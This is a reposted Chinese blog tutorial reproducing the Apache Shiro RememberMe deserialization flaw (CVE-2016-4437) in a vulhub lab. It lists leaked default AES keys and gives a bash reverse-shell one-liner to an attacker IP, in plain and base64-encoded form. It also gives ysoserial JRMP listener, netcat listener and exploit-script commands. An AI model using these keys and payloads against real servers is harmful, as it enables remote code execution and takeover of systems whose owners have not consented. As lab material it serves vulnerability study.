Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)


0x01 shiro簡介:

Apache Shiro是一個強大且易用的Java安全框架,執行身份驗證、授權、密碼和會話管理。使用Shiro的易於理解的API,您可以快速、輕松地獲得任何應用程序,從最小的移動應用程序到最大的網絡和企業應用程序。

0x02 漏洞介紹:

Shiro提供了記住我(RememberMe)的功能,比如訪問如淘寶等一些網站時,關閉了瀏覽器下次再打開時還是能記住你是誰,下次訪問時無需再登錄即可訪問,但是設計到一些支付等敏感操作時,可能還需要再次驗證。

 而shiro默認使用了CookieRememberMeManager接口,就是rememberme功能,。

其處理cookie的流程是: 得到rememberMe的cookie值,先進行Base64解碼,再進行AES解密,最后進行反序列化。

但是shiro本身有一個預設密鑰Base64.decode(“kPH+bIxk5D2deZiIxcaaaA==”),漏洞的突破口也是這點,就導致了攻擊者可以構造惡意數據造成反序列化的RCE漏洞。

攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發Java反序列化漏洞,進而在目標機器上執行任意命令。

0x03 漏洞影響:

Apache Shiro <= 1.2.4

事實上,只要rememberMe的AES加密密鑰泄露,無論shiro是什么版本都會導致反序列化漏洞。

0x04 復現:

這是網上所搜集的一些可替換的密鑰

1 kPH+bIxk5D2deZiIxcaaaA== 2 wGiHplamyXlVB11UXWol8g== 3 2AvVhdsgUs0FSA3SDFAdag== 4 4AvVhmFLUs0KTA3Kprsdag== 5 fCq+/xW488hMTCD+cmJ3aQ== 6 3AvVhmFLUs0KTA3Kprsdag== 7 1QWLxg+NYmxraMoxAXu/Iw== 8 ZUdsaGJuSmxibVI2ZHc9PQ== 9 Z3VucwAAAAAAAAAAAAAAAA== 10 U3ByaW5nQmxhZGUAAAAAAA== 11 6ZmI6I2j5Y+R5aSn5ZOlAA==

這里使用https://github.com/vulhub/vulhub/tree/master/shiro/CVE-2016-4437的vulhub啟動一個shiro環境。可以看到有一個remember me的選項。

 回包中有  rememberMe=deleteMe 字樣,可以大概確定有配置shiro,可以進行下一步。因為shiro本身功能就是一個身份驗證管理,所以一般都在登錄口可以看到。

0x05 漏洞復現:

  • 將shell反彈命令bash -i >& /dev/tcp attackrip/port 0>&1  進行編碼:http://www.jackson-t.ca/runtime-exec-payloads.html,編碼后的payload為 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcCAxOTIuMTY4Ljc5LjE0OC8xMjM0IDA+JjEK}|{base64,-d}|{bash,-i}' 

  • 啟用ysoserial監聽模塊JRMP,端口為666: java -cp ysoserial.jar ysoserial.exploit.JRMPListener 666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcCAxOTIuMTY4Ljc5LjE0OC8xMjM0IDA+JjEK}|{base64,-d}|{bash,-i}'

  • 監聽本地反彈端口: nc -lvvp 1234,等待shell反彈

 

  • 執行 poc生成rememberMe的內容 python2 shiro_exp.py attack_ip:JRMP_port

 

 

  •  抓取一個登陸的數據包

 

 

 

 

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM